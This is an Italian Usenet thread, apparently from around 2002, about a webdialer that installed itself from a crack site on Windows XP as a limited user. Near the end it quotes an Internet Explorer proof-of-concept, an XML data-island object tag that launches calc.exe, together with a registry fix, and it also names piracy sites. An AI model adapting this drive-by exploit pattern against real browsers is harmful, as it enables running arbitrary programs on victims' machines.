Newsgroup: it.comp.os.win.xp
Titolo: ho SCOPERTO una FALLA sicurezza in WinXP Pro

Ho scoperto una falla di sicurezza in WinXP Pro.
Ecco cosa mi è successo:
- ero loggato come utente limitato
- poi ho eseguito WS_FTP con l'opzione Esegui come.. è l'ho eseguito come
amministratore
- finito di usarlo ho chiuso il programma WS_FTP
- mi sono collegato al sito Astalavista
- uno dei siti di serials incredibile ma vero, è riuscito ad installarmi un
webdialer anche se ero loggato come UTENTE LIMITATO

 webdialer anche se ero loggato come UTENTE LIMITATO
mi ha installato in una nuova cartella il programma webdialer a mia
insaputa, mi ha scollegato la connessione internet e ha tentato di chiamere
un numero di una hot line tipo 166.
La cosa assurda è che non dovrebbe capitare con utente limitato.

 ha scritto nel messaggio
news:gJN29.180761$vm5.5...@news2.tin.it...

Giusto per capire: se fai il login direttamente come utente limitato, ti
permette di installare il webdialer? Non e' che i permessi dell'utente
limitato consentono comunque di installarlo e/o eseguirlo?
--
Ciao
Gerardo Fransecky

 limitato consentono comunque di installarlo e/o eseguirlo?
no, gli account limitati non consentono di installare programmi.


Perdona anche la mia di ignoranza, ma io credevo che per installare un Web
dialer si avesse bisogno quantomeno di cliccare OK alla finestra di
richiesta. Se la chiudi semplicemente non dovrebbe essere possibile. Sono in
errore?

 errore?
il client webdialer mi è stato installato senza nemmeno che io cliccassi ok,
ma semplicemente visitando la pagina che fra l'altro ha fatto "esplodere"
diverse finestre...

 diverse finestre...
se non ci credete andate su 
www.astalavista.com
 selezionate "serials wt" e
ricercate "cute ftp pro"

 diverse finestre...
Hai installato tutte le patch di Explorer?
Stef_Ozzy

 ricercate "cute ftp pro"
Fatto. Compare una pagina con due risultati sulla destra, e un riquadro 
molto ingannevole sulla sinistra che contiene altri pulsanti "search"; 
se uno si lascia ingannare da questi (come probabilmente hai fatto tu) e 
clicca sul primo, allora compaiono le classiche richieste di 
installazione di un .exe. Basta dire no e non succede niente, anche se 
un requester in tedesco lascia un po' indecisi sul da farsi.
Puň essere che tu abbia, in passato, selezionato l'opzione "considera 
sempre affidabile..." che compare nella richiesta di installazione, per 
qualcosa proveniente dallo stesso sito? In questo modo la richiesta non 
comparirebbe piů.
Riguardo al fatto che l'installazione avvenga anche come utente normale, 
č possibile, non so quali siano i criteri perché ciň avvenga, ma č 
possibile, ci sono delle applicazioni che possono essere installate 
anche da utenti normali, sebbene poi non ne sia garantito il pieno 
funzionamento.
-- 
Ciao,
  Marco.
..."The Lamb Lies Down on Broadway", Genesis 1974

> Hai installato tutte le patch di Explorer?
ovvio che le ho installate.

 funzionamento.
comunque è scandaloso che qualunque programma (specialmente come utente
limitato) ti possa interrompere la connessione di accesso remoto e crearna
una nuova ed eseguirla tutto in 2 secondi. SICUREZZA ZERO da questo punto di
vista.

comunque , sicuramente non dipende dal fatto che tu hai avviato un prg con
credenziali diverse!
E' più probabile che il dialer abbai sfruttato il bug di ie che permette di
lanciare i dl anche senza conferma d parte dell'utente, o piu semplicmenete
si appoggia su di un activex (come diceva qualcuno prima) a cui tu hai messo
la spunta di considerare sempre attendibile.
Bye
Teo

 Teo
si forse si.
E' colpa di IE o meglio della poca sicurezza di IE a proposito delle
connessioni internet, però più di lasciare le impostazioni di sicurezza sul
livello predefinito e navigare come utente limitato non posso fare, anche
perchè altrimenti nessun sito è visitabile correttamente se si imposta la
protezione al massimo.


Hi,
da poco ho installato Xp, le patch, ma il bug (impedire di eseguire progr.)
rimaneva!
per sistemare le cose x benino sono stato costretto a modificare
manualmente le chiavi del Reg. ora è tutto Ok.
--
giochi - utility - free -  
http://alaskha.supereva.it/
___________________________________________
 Un giorno la paura bussò alla porta, il coraggio
         andò ad aprire e non c`era nessuno.
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

> correttamente se si imposta la protezione al massimo.
 L'opzione "Inizializza e esegui script controlli ActiveX non
 contrassegnati come sicuri" la tieni Disattivata?
 --
      *_b_*
    *  _y_  *
  *   Piero   *

 wt" e ricercate "cute ftp pro"
veramente l'indirizzo corretto sarebbe 
www.astalavista.box.sk
, o
più direttamente 
www.cracks.am
 :)
ma non usateli questi siti!!!
compratli originali i programmi, echeccaz! :)
--
Licantrop0 / HackZ XtremE Crew since 2001
Mail: 
Lican...@hackzxtreme.cjb.net
Main Site: 
www.hackzxtreme.cjb.net

  contrassegnati come sicuri" la tieni Disattivata?
certo, è di default disattivata.

 manualmente le chiavi del Reg. ora è tutto Ok.
Quali chiavi hai modificato e come?
Stef_Ozzy

 Main Site: 
www.hackzxtreme.cjb.net
bellissimo il tuo sito HackzXtreme... :-)


sarà il caldo, ma non ci sto capendo un tubo!!!
avvia la calcolatrice:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/winnt/system32/calc.exe"></object>
            ]]>
        </exploit>
    </security>
</xml>
Solution:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\0]
Change the value of "1004" (DWORD) to 0x3.
il punto è che sul portatile ( WinXp pro. )
la calcolatrice non si avvia, la chiave del registro non è modificata e
non ho installato patch.
Bhòòòò!!!
--
_________________________________________________________
  Bye, bye  Antonio  ••••  giochi - utility - programmi gratis! •
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
( "`-' '-/ " ).____. .--' ' "` -._            
ala...@supereva.it
  `2 _ 2  )      `-.   (              ).`-._ _. ' ` )
  (_Y_.)'  ._      )   `. _      '. ` ` --. . .--''
    `--' _..- _/   /-- '    _. '   ,'    
http://alaskha.supereva.it/
( l ).-' '    ( ( !.'       ( (!.- ' 
http://digilander.libero.it/eldoradocity/
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

 Ho scoperto una falla di sicurezza in WinXP Pro.
Ho provato con Mozilla, il problema non si è presentato.
-- 
_________________________________________
Massimiliano Cairo
mail: 
maxc...@tin.it
http://maxcairo.cjb.net
_________________________________________

 codebase="c:/winnt/system32/calc.exe"></object>
CUT
Per questo bug e' stata rilasciato un aggiornamento della protezione,
mi sembra in aprile. Comunque per provate l'exploit accertati che
il path sia giusto. Per XP pro non so, per XP home e' questo;
"c:/windows/system32/calc.exe"



Credo di aver fatto un po' di confusione con le patch: italiano/inglese
--
_________________________________________________________
  Bye, bye  Antonio  ....  giochi - utility - programmi gratis! .
